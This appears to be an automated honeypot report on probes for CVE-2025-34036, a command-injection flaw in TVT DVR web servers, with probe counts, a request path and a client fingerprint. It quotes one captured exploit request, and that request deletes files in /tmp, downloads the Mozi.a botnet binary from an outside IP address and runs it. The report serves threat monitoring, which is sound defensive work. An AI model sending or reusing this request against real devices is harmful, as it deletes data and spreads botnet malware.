CVE-2025-34036: TVT CCTV-DVR Cross Web Server language path command injection

HoneyLabs honeypots recorded 1 probe matching CVE-2025-34036 from 1 distinct source IP address in the last 7 days, of which 1 on interactive sensors. Severity is rated critical.

One source probed for CVE-2025-34036 on the interactive sensors. It did not send the exploit payload.

What the sensors show

All of them arrived on one day, 2026-11-10. Over the last 90 days the sensors recorded 58 probes for it.

Request paths that identify it

• /language/Swedish${IFS}

Addresses probing it

Networks it comes from

Where it comes from

Requests the interactive sensors answered

• GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}[http]://124[.]29[.]221[.]160:51554/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js

HTTP client fingerprints

• b10cun000_00000000_334359b9